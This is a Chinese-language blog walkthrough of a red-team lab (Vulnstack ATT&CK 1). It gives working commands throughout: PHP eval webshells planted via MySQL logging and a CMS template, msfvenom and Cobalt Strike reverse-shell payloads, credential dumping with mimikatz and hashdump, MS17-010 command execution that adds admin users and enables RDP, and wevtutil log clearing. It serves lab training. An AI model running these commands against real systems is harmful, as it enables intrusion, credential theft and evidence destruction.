当前位置: 首页 > news >正文

ATTCK实战系列——红队实战(一)

文章目录

  • 网络拓扑
  • 环境搭建
  • 外网渗透
    • 信息收集
      • 端口扫描
      • 目录扫描
    • 漏洞利用
      • phpmyadmin拿shell
        • general_log_file写一句话
        • 蚁剑连接
      • 网站后台拿shell
      • 关闭防火墙
      • 新建用户,开启3389
  • 内网渗透
    • (一)CS
      • CS木马上线
      • 信息收集
        • hashdump
        • Mimikatz抓取明文密码
      • 权限提升
      • 横向移动
      • CS痕迹清楚
    • (二)MSF
      • msf木马上线
      • 信息收集
      • 横向移动
        • 添加路由、挂上Socks4a代理
        • nmap漏洞扫描
        • ms17-010命令执行
        • rdesktop远程连接

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

开机密码:hongrisec@2019

进入环境后要先改系统密码

网络拓扑

image-20231116210021237

环境搭建

先将 server2003 和 server2008 两台主机都设置为自定义VMnet1

VMnet1仅主机模式的子网地址改为192.168.52.0

image-20231116205828798

image-20231116205910294

Win7添加一块网卡,一块是NAT模式,另一块是VMnet1仅主机模式

image-20231116210210767

IP地址:

win7:  192.168.52.128           10.9.75.6
2008:  192.168.52.138
2003:  192.168.52.141

image-20231116211457145

启动Win7的Web服务

image-20231116214619121

image-20231116214630456

外网渗透

信息收集

端口扫描

nmap --min-rate 1000 10.9.75.6

image-20231116220159122

sudo nmap -sT -sV  -sC -O -p 80,3306 10.9.75.6

image-20231116220453013

sudo nmap --script=vuln -p 3306,80 10.9.75.6

image-20231116220724223

目录扫描

御剑后台扫描工具

image-20231116224108915

访问80端口

image-20231116222449223

知道了网站的绝对路径C:/phpStudy/WWW

image-20231116220914234

存在root:root弱口令

image-20231116220938300

访问phpMyAdmin

image-20231116221034913

漏洞利用

phpmyadmin拿shell

general_log_file写一句话

尝试能不能通过这个数据库管理页面写一句话,拿WebShell

SHOW GLOBAL VARIABLES LIKE "%secure%"

image-20231116221316417

说明不能通过into outfile来写一句话

查看general_log是否开启

show global variables like "%general%"

image-20231116221541129

开启general_log

set global general_log="on";

再次查询,此时日志功能就开启了

image-20231116221634860

可以通过general_log_file指定为一个php后缀的文件,来写查询语句

set global general_log_file="C:\\phpstudy\\www\\shell.php";
select "<?php  @eval($_REQUEST[6868])?>";

image-20231116221953362

蚁剑连接

image-20231116222258539

进入文件管理,发现一个beifen.rar备份文件

image-20231116224229009

下载到kali本地,然后解压

rar x beifen.rar

rar

解压:rar x FileName.rar

压缩:rar e FileName.rar

image-20231116224554249

网站后台拿shell

http://10.9.75.6/yxcms/

image-20231116225127725

http://10.9.75.6/yxcms/index.php?r=admin

登陆网站后台

image-20231116225248366

新建前台模板,写一句话

image-20231116225432087

image-20231116225452192

<?php @eval($_POST['cmd'])?>; 

image-20231116230608453

在拿到的备份文件中,找到模板的上传点

image-20231116225907521

http://10.9.75.6/yxcms/protected/apps/default/view/default/

image-20231116230055297

访问webshell.php

http://10.9.75.6/yxcms/protected/apps/default/view/default/webshell.php

image-20231116230524622

关闭防火墙

netsh advfirewall show allprofile state     (显示防火墙)netsh advfirewall set allprofiles state off (关闭防火墙)

image-20231117132031804

新建用户,开启3389

net user saury 123.com /add # 添加账户密码
net localgroup administrators saury /add  # 添加为管理员权限

image-20231117132145236

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

如果防火墙没关,rdp会登录失败

image-20231117132242981

内网渗透

(一)CS

CS木马上线

kali既充当CS服务端,也充当CS客户端

启动服务端

image-20231117133052571

客户端连接

image-20231117133157944

开启监听

image-20231117133251390

生成木马

image-20231117133321801

image-20231117133342718

点击Generate生成木马artifact_x64.exe,保存到 一个位置

木马上线

image-20231117133551853

image-20231117133704737

执行完木马文件后,CS木马就上线了

image-20231117133734929

目标上线之后,我们第一步首先要做的就是先将睡眠时间设置为0

image-20231117134908657

在会话交互框中输入命令:sleep 0,将睡眠时间设置为0

image-20231117135003535

在会话交互框中输入shell whoami可以瞬间得到如下所示的回显,说明睡眠时间设置为0完成

image-20231117135042657

信息收集

一些CS内网信息收集的命令

shell whoami                //显示administrator权限
shell systeminfo            //查看系统信息
shell ipconfig /all         //查看是否存在域shell net time /domain          //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。shell net view /domain      //查看所有域shell nbtbios               //快速探测内网shell net group "domain computers" /domain  //查看域控制器主机名shell nltest /domain_trusts //查看域信任关系shell net accounts /domain  //查看域内账号密码信息shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain        //获取域控制器列表
shell net group "Domain Admins" /domain             //获取域管理员列表
shell Tasklist /v            //列出进程和进程用户
shell systeminfo   

image-20231117142524768

image-20231117142818741

查看域中的机器

image-20231117142928435

hashdump

image-20231117143044466

image-20231117143026831

Mimikatz抓取明文密码

image-20231117143107613

或者直接输入命令也可以执行logonpasswords

image-20231117143230272

权限提升

利用ms15-051

image-20231117143914090

image-20231117143946074

将win7提成SYSTEM权限

横向移动

通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机

新建一个SMB监听器

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexecStageless Payload上线

image-20231117144046566

image-20231117144320333

拿下域控 主机

image-20231117144353531

看到∞∞这个字符 ,这就是派生的SMB Beacon

查看其IP地址

image-20231117144708264

再次通过拿下的域控拿下其他域成员机

image-20231117144435804

image-20231117144514033

image-20231117144522649

image-20231117144739019

横向成功!!!

CS痕迹清楚

根据入侵的路径依次删除上传的工具、删除Web日志、FTP日志等。

清除安全日志

shell wevtutil cl Security

清除系统日志,

shell wevtutil cl System

清除应用日志

shell wevtutil cl Application

清除启动日志

shell wevtutil cl Setup

清除RDP登录日志

shell wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true 

删除防火墙日志

shell del C:\Windows\System32\LogFiles\Firewall\pfirewall.log

删除PowerShell执行历史记录

shell del 
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

(二)MSF

msf木马上线

制作msf木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-IP LPORT=your-PORT -f exe -o /home/kali/tmp/shell.exe

image-20231117152202589

开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.9.75.3
set lport 4567
run

通过蚁剑将生成的木马上传并运行

image-20231117152740528

木马成功上线,进行system提权

image-20231117152837225

信息收集

首先获取目标主机的shell

image-20231117152945711

出现乱码,可以使用chcp 65001解决乱码问题

查看路由表

route print

image-20231117153317504

可以看出内网网段是192.168.52.0/24

查看系统信息

systeminfo

image-20231117154912163

image-20231117154958667

查看是否在域内

ipconfig /all

image-20231117153434469

net view /domain  #查询当前主机是否加入域,如果加入则列出域名

image-20231117153639092

net view //查看域内主机

image-20231117154648700

image-20231117155112423

得到域内其他主机地址

  • OWA:192.168.52.138
  • ROOT-TVI862UBEH:192.168.52.141

查看域内用户

net user /domain

获取主机用户密码哈希

hashdump

image-20231117155419379

用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

image-20231117160104658

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

MSF使用_MSF中kiwi(mimikatz)模块的使用

尝试抓取域内的账号密码:利用 msf 的 kiwi 模块

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

横向移动

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道,设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

image-20231117162817587

暂时把会话挂起来background

use auxiliary/server/socks_proxy    //使用socks代理set SRVHOST 10.9.75.3        //MSF本机的IP地址set VERSION 4a                      //设置socks代理的版本exploit            //开始代理

image-20231117163312002

然后在 proxychains 的配置文件 /etc/proxychains4.conf,添加Kali本机的1080端口:

sudo vim /etc/proxychains4.conf 

image-20231117163513812

image-20231117163500181

然后执行命令时,前面加上 proxychains 即可

image-20231117163748098

nmap漏洞扫描
proxychains nmap --script=vuln 192.168.52.141

image-20231117171504026

ms17-010命令执行

知道了目标主机中存在一些漏洞:MS08-067、MS17-010等等,我们就可以用MS17-010的EXP来拿下目标主机,MS17-010的EXP打不了,它这个漏洞有很多莫名其妙的问题,很多其它的因素会导致各种各样的问题出现,打不了并不代表这个漏洞利用不了,有别的玩法,同样也是用MS17-010,MS17-010这个漏洞不光是可以用来拿权限,我们还可以用它来干其它的操作,比如说我们可以用这个漏洞来添加一个账户,因此我们需要用到对应的一个模块,在kali的具有MSF的那个终端中输入命令:这个模块可以在MSF中输入search ms17-010来搜索到,输入完命令之后,会出现很多模块

image-20231117165747432

set rhosts 192.168.52.141        //设置IP地址为目标主机的IP地址set COMMAND net user hack 123.com /add    //设置要添加的账号和密码,密码在设置的时候要注意:这里的密码设置有一个策略的问题存在,所以我们在设置密码的时候需要搞得复杂一点,不然过不了exploit        //执行

得到以下的结果,说明执行成功

image-20231117165716050

继续执行,将创建的hack用户添加到管理员组

set command net localgroup administrators hack /add
exploit

image-20231117170031190

查看用户是否添加到管理员组里面

set command net localgroup administrators

image-20231117170149311

开启3389

因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

image-20231117173256819

rdesktop远程连接

安装rdesktop

sudo apt install rdesktop
proxychains rdesktop 192.168.52.141

image-20231117173754393

image-20231117173835110

相关文章:

  • 生成对抗网络(GAN)
  • 云服务器windows service2022 部署git服务器
  • 【开题报告】基于SpringBoot的中小企业设备管理系统的设计与实现
  • Linux使用ifconifg命令,没有显示ens33
  • 数据结构:反射
  • Java的JDBC编程
  • 集合框架面试题
  • Kubernetes(k8s)进阶
  • Apache Airflow (九) :Airflow Operators及案例之BashOperator及调度Shell命令及脚本
  • 创芯科技USB_CAN【库文件】
  • Python 如何实现职责链设计模式?什么是职责链设计模式?Python 职责链设计模式示例代码
  • 算法萌新闯力扣:存在重复元素II
  • ElasticSearch综合练习题,ES为8版本,使用Kibana运行语句
  • 接口和抽象类
  • 【cpolar】Ubuntu本地快速搭建web小游戏网站,公网用户远程访问
  • 【技术性】Search知识
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • centos安装java运行环境jdk+tomcat
  • css选择器
  • Effective Java 笔记(一)
  • JavaScript创建对象的四种方式
  • JS 面试题总结
  • MySQL QA
  • Python 使用 Tornado 框架实现 WebHook 自动部署 Git 项目
  • Redux 中间件分析
  • Webpack4 学习笔记 - 01:webpack的安装和简单配置
  • 爱情 北京女病人
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 分享几个不错的工具
  • 分享一份非常强势的Android面试题
  • 计算机常识 - 收藏集 - 掘金
  • 快速构建spring-cloud+sleuth+rabbit+ zipkin+es+kibana+grafana日志跟踪平台
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • 用Python写一份独特的元宵节祝福
  • 【干货分享】dos命令大全
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • Unity3D - 异步加载游戏场景与异步加载游戏资源进度条 ...
  • 从如何停掉 Promise 链说起
  • #DBA杂记1
  • (2015)JS ES6 必知的十个 特性
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (TOJ2804)Even? Odd?
  • (动态规划)5. 最长回文子串 java解决
  • (附源码)ssm本科教学合格评估管理系统 毕业设计 180916
  • (附源码)ssm户外用品商城 毕业设计 112346
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (算法)求1到1亿间的质数或素数
  • (源码版)2024美国大学生数学建模E题财产保险的可持续模型详解思路+具体代码季节性时序预测SARIMA天气预测建模
  • (转载)hibernate缓存
  • **python多态
  • .NET CLR基本术语
  • .NET Reactor简单使用教程
  • .NET 命令行参数包含应用程序路径吗?
  • .pyc文件是什么?
  • /boot 内存空间不够